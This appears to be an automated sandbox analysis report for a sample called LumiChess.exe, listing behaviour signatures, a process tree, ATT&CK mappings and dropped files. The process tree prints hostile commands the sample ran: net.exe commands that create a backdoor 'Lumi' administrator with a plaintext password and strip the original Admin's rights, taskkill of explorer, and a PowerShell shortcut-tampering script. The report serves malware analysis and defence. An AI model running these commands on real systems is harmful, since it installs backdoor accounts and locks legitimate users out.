Overview

overview

9

Static

static

3

LumiChess.exe

windows10-2004-x64

9

LumiChess.exe

windows11-ltsc_2024-x64

7

Analysis

  • user interaction
    yes
  • max time kernel
    959s
  • max time network
    961s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    27/10/2026, 04:01

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    LumiChess.exe
  • Size 37.0MB
  • Sample261027-elhs1scf53
  • SHA256 fcc387d3c78259bfae5a3173e0edca9dd3f1e4516a75e02eca10ce50537f2bc4
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
adwaredefense_evasiondiscoveryexecutionpersistenceprivilege_escalationransomwarespyware

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 22 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Loads dropped DLL 64 IoCs
  • Enumerates connected drives 3 TTPs 4 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Start PowerShell.

    execution
  • Creates a new local user account 1 TTPs 16 IoCs

    Uses net.exe to create a new local user account, often for persistence or a backdoor account.

    persistence
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 9 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

    defense_evasion
  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

    discovery
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 3 IoCs
    defense_evasion
  • Modifies Control Panel 15 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 21 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 42 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\LumiChess.exe
    "C:\Users\Admin\AppData\Local\Temp\LumiChess.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2160
    • C:\Users\Admin\AppData\Local\Temp\LumiChess.exe
      "C:\Users\Admin\AppData\Local\Temp\LumiChess.exe"
      2⤵
      • Loads dropped DLL
      • Sets desktop wallpaper using registry
      • Reads the TCP/IP host and domain name from the registry
      • Checks SCSI registry key(s)
      • Modifies Control Panel
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3392
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-ComputerRestorePoint -ErrorAction SilentlyContinue | ForEach-Object { $_.SequenceNumber }"
        3⤵
        • Hide Artifacts: Ignore Process Interrupts
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4652
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-ComputerRestorePoint -ErrorAction SilentlyContinue | ForEach-Object { $_.SequenceNumber }"
        3⤵
        • Hide Artifacts: Ignore Process Interrupts
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3280
      • C:\Windows\SYSTEM32\net.exe
        net localgroup Administrators
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3516
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 localgroup Administrators
          4⤵
            PID:2760
        • C:\Windows\SYSTEM32\net.exe
          net user Lumi Lumiluvschess123 /add
          3⤵
          • Creates a new local user account
          • Suspicious use of WriteProcessMemory
          PID:2920
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 user Lumi Lumiluvschess123 /add
            4⤵
            • Creates a new local user account
            PID:3624
        • C:\Windows\SYSTEM32\net.exe
          net user Lumi Lumiluvschess123
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3476
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 user Lumi Lumiluvschess123
            4⤵
              PID:3184
          • C:\Windows\SYSTEM32\net.exe
            net localgroup Administrators Lumi /add
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2088
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 localgroup Administrators Lumi /add
              4⤵
                PID:4104
            • C:\Windows\SYSTEM32\net.exe
              net localgroup Administrators Admin /delete
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3056
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators Admin /delete
                4⤵
                  PID:1632
              • C:\Windows\SYSTEM32\taskkill.exe
                taskkill /IM explorer.exe /F
                3⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4460
              • C:\Windows\explorer.exe
                explorer.exe
                3⤵
                • Boot or Logon Autostart Execution: Active Setup
                • Enumerates connected drives
                • Checks SCSI registry key(s)
                • Modifies registry class
                • Suspicious behavior: GetForegroundWindowSpam
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                • Suspicious use of SetWindowsHookEx
                PID:400
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-ComputerRestorePoint -ErrorAction SilentlyContinue | ForEach-Object { $_.SequenceNumber }"
                3⤵
                • Hide Artifacts: Ignore Process Interrupts
                • Suspicious behavior: EnumeratesProcesses
                PID:5024
              • C:\Windows\SYSTEM32\net.exe
                net localgroup Administrators
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2980
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup Administrators
                  4⤵
                    PID:664
                • C:\Windows\SYSTEM32\net.exe
                  net user Lumi Lumiluvschess123 /add
                  3⤵
                  • Creates a new local user account
                  • Suspicious use of WriteProcessMemory
                  PID:4204
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 user Lumi Lumiluvschess123 /add
                    4⤵
                    • Creates a new local user account
                    PID:456
                • C:\Windows\SYSTEM32\net.exe
                  net user Lumi Lumiluvschess123
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3800
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 user Lumi Lumiluvschess123
                    4⤵
                      PID:1136
                  • C:\Windows\SYSTEM32\net.exe
                    net localgroup Administrators Lumi /add
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4504
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 localgroup Administrators Lumi /add
                      4⤵
                        PID:3916
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -NoProfile -ExecutionPolicy Bypass -Command " $shell = New-Object -ComObject WScript.Shell Get-ChildItem -Path 'C:\Users\Admin\Desktop' -Filter '*.lnk' | ForEach-Object { try { $sc = $shell.CreateShortcut($_.FullName) $sc.IconLocation = 'C:\Users\Admin\AppData\Roaming\Lumi\heart.ico,0' $sc.Save() } catch {} } Start-Process 'ie4uinit.exe' '-ClearIconCache' -NoNewWindow -Wait -EA SilentlyContinue Start-Process 'ie4uinit.exe' '-show' -NoNewWindow -Wait -EA SilentlyContinue "
                      3⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of WriteProcessMemory
                      PID:2584
                      • C:\Windows\system32\ie4uinit.exe
                        "C:\Windows\system32\ie4uinit.exe" -ClearIconCache
                        4⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3496
                        • C:\Windows\system32\RunDll32.exe
                          C:\Windows\system32\RunDll32.exe C:\Windows\system32\migration\WininetPlugin.dll,MigrateCacheForUser /m /0
                          5⤵
                            PID:1920
                          • C:\Windows\system32\RunDll32.exe
                            C:\Windows\system32\RunDll32.exe C:\Windows\system32\migration\WininetPlugin.dll,MigrateCacheForUser /m /0
                            5⤵
                              PID:2524
                          • C:\Windows\system32\ie4uinit.exe
                            "C:\Windows\system32\ie4uinit.exe" -show
                            4⤵
                            • Boot or Logon Autostart Execution: Active Setup
                            • Modifies Internet Explorer settings
                            • Modifies registry class
                            PID:1912
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-ComputerRestorePoint -ErrorAction SilentlyContinue | ForEach-Object { $_.SequenceNumber }"
                          3⤵
                          • Hide Artifacts: Ignore Process Interrupts
                          • Suspicious behavior: EnumeratesProcesses
                          PID:4696
                        • C:\Windows\SYSTEM32\net.exe
                          net localgroup Administrators
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2824
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 localgroup Administrators
                            4⤵
                              PID:3216
                          • C:\Windows\SYSTEM32\net.exe
                            net user Lumi Lumiluvschess123 /add
                            3⤵
                            • Creates a new local user account
                            • Suspicious use of WriteProcessMemory
                            PID:3408
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 user Lumi Lumiluvschess123 /add
                              4⤵
                              • Creates a new local user account
                              PID:3336
                          • C:\Windows\SYSTEM32\net.exe
                            net user Lumi Lumiluvschess123
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:872
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 user Lumi Lumiluvschess123
                              4⤵
                                PID:3588
                            • C:\Windows\SYSTEM32\net.exe
                              net localgroup Administrators Lumi /add
                              3⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3544
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 localgroup Administrators Lumi /add
                                4⤵
                                  PID:2232
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -NoProfile -ExecutionPolicy Bypass -Command " $shell = New-Object -ComObject WScript.Shell Get-ChildItem -Path 'C:\Users\Admin\Desktop' -Filter '*.lnk' | ForEach-Object { try { $sc = $shell.CreateShortcut($_.FullName) $sc.IconLocation = 'C:\Users\Admin\AppData\Roaming\Lumi\heart.ico,0' $sc.Save() } catch {} } Start-Process 'ie4uinit.exe' '-ClearIconCache' -NoNewWindow -Wait -EA SilentlyContinue Start-Process 'ie4uinit.exe' '-show' -NoNewWindow -Wait -EA SilentlyContinue "
                                3⤵
                                • Command and Scripting Interpreter: PowerShell
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of WriteProcessMemory
                                PID:1504
                                • C:\Windows\system32\ie4uinit.exe
                                  "C:\Windows\system32\ie4uinit.exe" -ClearIconCache
                                  4⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:408
                                  • C:\Windows\system32\RunDll32.exe
                                    C:\Windows\system32\RunDll32.exe C:\Windows\system32\migration\WininetPlugin.dll,MigrateCacheForUser /m /0
                                    5⤵
                                      PID:5048
                                    • C:\Windows\system32\RunDll32.exe
                                      C:\Windows\system32\RunDll32.exe C:\Windows\system32\migration\WininetPlugin.dll,MigrateCacheForUser /m /0
                                      5⤵
                                        PID:2816
                                    • C:\Windows\system32\ie4uinit.exe
                                      "C:\Windows\system32\ie4uinit.exe" -show
                                      4⤵
                                      • Boot or Logon Autostart Execution: Active Setup
                                      • Modifies Internet Explorer settings
                                      • Modifies registry class
                                      PID:1332
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell -NoProfile -ExecutionPolicy Bypass -Command " $shell = New-Object -ComObject WScript.Shell Get-ChildItem -Path 'C:\Users\Admin\Desktop' -Filter '*.lnk' | ForEach-Object { try { $sc = $shell.CreateShortcut($_.FullName) $sc.IconLocation = 'C:\Users\Admin\AppData\Roaming\Lumi\heart.ico,0' $sc.Save() } catch {} } Start-Process 'ie4uinit.exe' '-ClearIconCache' -NoNewWindow -Wait -EA SilentlyContinue Start-Process 'ie4uinit.exe' '-show' -NoNewWindow -Wait -EA SilentlyContinue "
                                    3⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of WriteProcessMemory
                                    PID:4928
                                    • C:\Windows\system32\ie4uinit.exe
                                      "C:\Windows\system32\ie4uinit.exe" -ClearIconCache
                                      4⤵
                                      • Suspicious use of WriteProcessMemory
                                      PID:2040
                                      • C:\Windows\system32\RunDll32.exe
                                        C:\Windows\system32\RunDll32.exe C:\Windows\system32\migration\WininetPlugin.dll,MigrateCacheForUser /m /0
                                        5⤵
                                          PID:1104
                                        • C:\Windows\system32\RunDll32.exe
                                          C:\Windows\system32\RunDll32.exe C:\Windows\system32\migration\WininetPlugin.dll,MigrateCacheForUser /m /0
                                          5⤵
                                            PID:4232
                                        • C:\Windows\system32\ie4uinit.exe
                                          "C:\Windows\system32\ie4uinit.exe" -show
                                          4⤵
                                          • Boot or Logon Autostart Execution: Active Setup
                                          • Modifies Internet Explorer settings
                                          • Modifies registry class
                                          PID:5028
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-ComputerRestorePoint -ErrorAction SilentlyContinue | ForEach-Object { $_.SequenceNumber }"
                                        3⤵
                                        • Hide Artifacts: Ignore Process Interrupts
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:4648
                                      • C:\Windows\SYSTEM32\net.exe
                                        net localgroup Administrators
                                        3⤵
                                        • Suspicious use of WriteProcessMemory
                                        PID:2876
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 localgroup Administrators
                                          4⤵
                                            PID:3332
                                        • C:\Windows\SYSTEM32\net.exe
                                          net user Lumi Lumiluvschess123 /add
                                          3⤵
                                          • Creates a new local user account
                                          • Suspicious use of WriteProcessMemory
                                          PID:564
                                          • C:\Windows\system32\net1.exe
                                            C:\Windows\system32\net1 user Lumi Lumiluvschess123 /add
                                            4⤵
                                            • Creates a new local user account
                                            PID:4552
                                        • C:\Windows\SYSTEM32\net.exe
                                          net user Lumi Lumiluvschess123
                                          3⤵
                                          • Suspicious use of WriteProcessMemory
                                          PID:4596
                                          • C:\Windows\system32\net1.exe
                                            C:\Windows\system32\net1 user Lumi Lumiluvschess123
                                            4⤵
                                              PID:4952
                                          • C:\Windows\SYSTEM32\net.exe
                                            net localgroup Administrators Lumi /add
                                            3⤵
                                            • Suspicious use of WriteProcessMemory
                                            PID:116
                                            • C:\Windows\system32\net1.exe
                                              C:\Windows\system32\net1 localgroup Administrators Lumi /add
                                              4⤵
                                                PID:3892
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-ComputerRestorePoint -ErrorAction SilentlyContinue | ForEach-Object { $_.SequenceNumber }"
                                              3⤵
                                              • Hide Artifacts: Ignore Process Interrupts
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:1548
                                            • C:\Windows\SYSTEM32\net.exe
                                              net localgroup Administrators
                                              3⤵
                                              • Suspicious use of WriteProcessMemory
                                              PID:4052
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 localgroup Administrators
                                                4⤵
                                                  PID:916
                                              • C:\Windows\SYSTEM32\net.exe
                                                net user Lumi Lumiluvschess123 /add
                                                3⤵
                                                • Creates a new local user account
                                                • Suspicious use of WriteProcessMemory
                                                PID:1472
                                                • C:\Windows\system32\net1.exe
                                                  C:\Windows\system32\net1 user Lumi Lumiluvschess123 /add
                                                  4⤵
                                                  • Creates a new local user account
                                                  PID:4056
                                              • C:\Windows\SYSTEM32\net.exe
                                                net user Lumi Lumiluvschess123
                                                3⤵
                                                • Suspicious use of WriteProcessMemory
                                                PID:2552
                                                • C:\Windows\system32\net1.exe
                                                  C:\Windows\system32\net1 user Lumi Lumiluvschess123
                                                  4⤵
                                                    PID:1336
                                                • C:\Windows\SYSTEM32\net.exe
                                                  net localgroup Administrators Lumi /add
                                                  3⤵
                                                    PID:2940
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 localgroup Administrators Lumi /add
                                                      4⤵
                                                        PID:4128
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -NoProfile -ExecutionPolicy Bypass -Command " $shell = New-Object -ComObject WScript.Shell Get-ChildItem -Path 'C:\Users\Admin\Desktop' -Filter '*.lnk' | ForEach-Object { try { $sc = $shell.CreateShortcut($_.FullName) $sc.IconLocation = 'C:\Users\Admin\AppData\Roaming\Lumi\heart.ico,0' $sc.Save() } catch {} } Start-Process 'ie4uinit.exe' '-ClearIconCache' -NoNewWindow -Wait -EA SilentlyContinue Start-Process 'ie4uinit.exe' '-show' -NoNewWindow -Wait -EA SilentlyContinue "
                                                      3⤵
                                                      • Command and Scripting Interpreter: PowerShell
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:1052
                                                      • C:\Windows\system32\ie4uinit.exe
                                                        "C:\Windows\system32\ie4uinit.exe" -ClearIconCache
                                                        4⤵
                                                          PID:3412
                                                          • C:\Windows\system32\RunDll32.exe
                                                            C:\Windows\system32\RunDll32.exe C:\Windows\system32\migration\WininetPlugin.dll,MigrateCacheForUser /m /0
                                                            5⤵
                                                              PID:5028
                                                            • C:\Windows\system32\RunDll32.exe
                                                              C:\Windows\system32\RunDll32.exe C:\Windows\system32\migration\WininetPlugin.dll,MigrateCacheForUser /m /0
                                                              5⤵
                                                                PID:4448
                                                            • C:\Windows\system32\ie4uinit.exe
                                                              "C:\Windows\system32\ie4uinit.exe" -show
                                                              4⤵
                                                              • Boot or Logon Autostart Execution: Active Setup
                                                              • Modifies Internet Explorer settings
                                                              • Modifies registry class
                                                              PID:2676
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-ComputerRestorePoint -ErrorAction SilentlyContinue | ForEach-Object { $_.SequenceNumber }"
                                                            3⤵
                                                            • Hide Artifacts: Ignore Process Interrupts
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            PID:2164
                                                          • C:\Windows\SYSTEM32\net.exe
                                                            net localgroup Administrators
                                                            3⤵
                                                              PID:636
                                                              • C:\Windows\system32\net1.exe
                                                                C:\Windows\system32\net1 localgroup Administrators
                                                                4⤵
                                                                  PID:1756
                                                              • C:\Windows\SYSTEM32\net.exe
                                                                net user Lumi Lumiluvschess123 /add
                                                                3⤵
                                                                • Creates a new local user account
                                                                PID:1664
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user Lumi Lumiluvschess123 /add
                                                                  4⤵
                                                                  • Creates a new local user account
                                                                  PID:3548
                                                              • C:\Windows\SYSTEM32\net.exe
                                                                net user Lumi Lumiluvschess123
                                                                3⤵
                                                                  PID:2216
                                                                  • C:\Windows\system32\net1.exe
                                                                    C:\Windows\system32\net1 user Lumi Lumiluvschess123
                                                                    4⤵
                                                                      PID:2024
                                                                  • C:\Windows\SYSTEM32\net.exe
                                                                    net localgroup Administrators Lumi /add
                                                                    3⤵
                                                                      PID:416
                                                                      • C:\Windows\system32\net1.exe
                                                                        C:\Windows\system32\net1 localgroup Administrators Lumi /add
                                                                        4⤵
                                                                          PID:3296
                                                                      • C:\Windows\SYSTEM32\taskkill.exe
                                                                        taskkill /IM explorer.exe /F
                                                                        3⤵
                                                                        • Kills process with taskkill
                                                                        PID:4676
                                                                      • C:\Windows\explorer.exe
                                                                        explorer.exe
                                                                        3⤵
                                                                        • Boot or Logon Autostart Execution: Active Setup
                                                                        • Enumerates connected drives
                                                                        • Checks SCSI registry key(s)
                                                                        • Modifies registry class
                                                                        • Suspicious behavior: GetForegroundWindowSpam
                                                                        • Suspicious use of SetWindowsHookEx
                                                                        PID:3308
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-ComputerRestorePoint -ErrorAction SilentlyContinue | ForEach-Object { $_.SequenceNumber }"
                                                                        3⤵
                                                                        • Hide Artifacts: Ignore Process Interrupts
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        PID:4820
                                                                      • C:\Windows\SYSTEM32\net.exe
                                                                        net localgroup Administrators
                                                                        3⤵
                                                                          PID:1936
                                                                          • C:\Windows\system32\net1.exe
                                                                            C:\Windows\system32\net1 localgroup Administrators
                                                                            4⤵
                                                                              PID:3872
                                                                          • C:\Windows\SYSTEM32\net.exe
                                                                            net user Lumi Lumiluvschess123 /add
                                                                            3⤵
                                                                            • Creates a new local user account
                                                                            PID:1136
                                                                            • C:\Windows\system32\net1.exe
                                                                              C:\Windows\system32\net1 user Lumi Lumiluvschess123 /add
                                                                              4⤵
                                                                              • Creates a new local user account
                                                                              PID:3468
                                                                          • C:\Windows\SYSTEM32\net.exe
                                                                            net user Lumi Lumiluvschess123
                                                                            3⤵
                                                                              PID:2364
                                                                              • C:\Windows\system32\net1.exe
                                                                                C:\Windows\system32\net1 user Lumi Lumiluvschess123
                                                                                4⤵
                                                                                  PID:1772
                                                                              • C:\Windows\SYSTEM32\net.exe
                                                                                net localgroup Administrators Lumi /add
                                                                                3⤵
                                                                                  PID:1788
                                                                                  • C:\Windows\system32\net1.exe
                                                                                    C:\Windows\system32\net1 localgroup Administrators Lumi /add
                                                                                    4⤵
                                                                                      PID:1040
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-ComputerRestorePoint -ErrorAction SilentlyContinue | ForEach-Object { $_.SequenceNumber }"
                                                                                    3⤵
                                                                                    • Hide Artifacts: Ignore Process Interrupts
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    PID:3352
                                                                                  • C:\Windows\SYSTEM32\taskkill.exe
                                                                                    taskkill /IM explorer.exe /F
                                                                                    3⤵
                                                                                    • Kills process with taskkill
                                                                                    PID:4496
                                                                                  • C:\Windows\SYSTEM32\net.exe
                                                                                    net localgroup Administrators
                                                                                    3⤵
                                                                                      PID:2092
                                                                                      • C:\Windows\system32\net1.exe
                                                                                        C:\Windows\system32\net1 localgroup Administrators
                                                                                        4⤵
                                                                                          PID:2948
                                                                                      • C:\Windows\SYSTEM32\net.exe
                                                                                        net user Lumi Lumiluvschess123 /add
                                                                                        3⤵
                                                                                        • Creates a new local user account
                                                                                        PID:988
                                                                                        • C:\Windows\system32\net1.exe
                                                                                          C:\Windows\system32\net1 user Lumi Lumiluvschess123 /add
                                                                                          4⤵
                                                                                          • Creates a new local user account
                                                                                          PID:4520
                                                                                      • C:\Windows\SYSTEM32\net.exe
                                                                                        net user Lumi Lumiluvschess123
                                                                                        3⤵
                                                                                          PID:3344
                                                                                          • C:\Windows\system32\net1.exe
                                                                                            C:\Windows\system32\net1 user Lumi Lumiluvschess123
                                                                                            4⤵
                                                                                              PID:1628
                                                                                          • C:\Windows\SYSTEM32\net.exe
                                                                                            net localgroup Administrators Lumi /add
                                                                                            3⤵
                                                                                              PID:5000
                                                                                              • C:\Windows\system32\net1.exe
                                                                                                C:\Windows\system32\net1 localgroup Administrators Lumi /add
                                                                                                4⤵
                                                                                                  PID:3488
                                                                                              • C:\Windows\explorer.exe
                                                                                                explorer.exe
                                                                                                3⤵
                                                                                                  PID:2524
                                                                                            • C:\Windows\system32\vssvc.exe
                                                                                              C:\Windows\system32\vssvc.exe
                                                                                              1⤵
                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                              PID:4680
                                                                                            • C:\Windows\system32\vssvc.exe
                                                                                              C:\Windows\system32\vssvc.exe
                                                                                              1⤵
                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                              PID:3856
                                                                                            • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                              "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                              1⤵
                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                              PID:1260
                                                                                            • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                                              "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                                              1⤵
                                                                                              • Modifies registry class
                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                              PID:3504
                                                                                            • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                              "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                              1⤵
                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                              PID:3240
                                                                                            • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                                              "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                                              1⤵
                                                                                              • Modifies registry class
                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                              PID:1232

                                                                                            Network

                                                                                                  MITRE ATT&CK Enterprise v16

                                                                                                  Reconnaissance

                                                                                                  Resource Development

                                                                                                  Initial Access

                                                                                                  Execution

                                                                                                  Command and Scripting Interpreter

                                                                                                  1
                                                                                                  T1059

                                                                                                  PowerShell

                                                                                                  1
                                                                                                  T1059.001

                                                                                                  Persistence

                                                                                                  Account Manipulation

                                                                                                  1
                                                                                                  T1098

                                                                                                  Boot or Logon Autostart Execution

                                                                                                  1
                                                                                                  T1547

                                                                                                  Active Setup

                                                                                                  1
                                                                                                  T1547.014

                                                                                                  Create Account

                                                                                                  1
                                                                                                  T1136

                                                                                                  Local Account

                                                                                                  1
                                                                                                  T1136.001

                                                                                                  Event Triggered Execution

                                                                                                  1
                                                                                                  T1546

                                                                                                  Component Object Model Hijacking

                                                                                                  1
                                                                                                  T1546.015

                                                                                                  Privilege Escalation

                                                                                                  Account Manipulation

                                                                                                  1
                                                                                                  T1098

                                                                                                  Boot or Logon Autostart Execution

                                                                                                  1
                                                                                                  T1547

                                                                                                  Active Setup

                                                                                                  1
                                                                                                  T1547.014

                                                                                                  Event Triggered Execution

                                                                                                  1
                                                                                                  T1546

                                                                                                  Component Object Model Hijacking

                                                                                                  1
                                                                                                  T1546.015

                                                                                                  Defense Evasion

                                                                                                  Hide Artifacts

                                                                                                  1
                                                                                                  T1564

                                                                                                  Ignore Process Interrupts

                                                                                                  1
                                                                                                  T1564.011

                                                                                                  Modify Registry

                                                                                                  3
                                                                                                  T1112

                                                                                                  Credential Access

                                                                                                  Discovery

                                                                                                  Peripheral Device Discovery

                                                                                                  2
                                                                                                  T1120

                                                                                                  Permission Groups Discovery

                                                                                                  1
                                                                                                  T1069

                                                                                                  Local Groups

                                                                                                  1
                                                                                                  T1069.001

                                                                                                  Query Registry

                                                                                                  3
                                                                                                  T1012

                                                                                                  System Information Discovery

                                                                                                  2
                                                                                                  T1082

                                                                                                  System Network Configuration Discovery

                                                                                                  1
                                                                                                  T1016

                                                                                                  Lateral Movement

                                                                                                  Collection

                                                                                                  Command and Control

                                                                                                  Exfiltration

                                                                                                  Impact

                                                                                                  Defacement

                                                                                                  1
                                                                                                  T1491

                                                                                                  Replay Monitor

                                                                                                  Loading Replay Monitor...

                                                                                                  Downloads

                                                                                                  StartupProfileData-NonInteractive
                                                                                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                  • Size 64B
                                                                                                  • SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
                                                                                                  • MD5 SHA1 SHA512
                                                                                                  Submit Download

                                                                                                  microsoft.windows[1].xml
                                                                                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\0TEVTE4E\microsoft.windows[1].xml
                                                                                                  • Size 97B
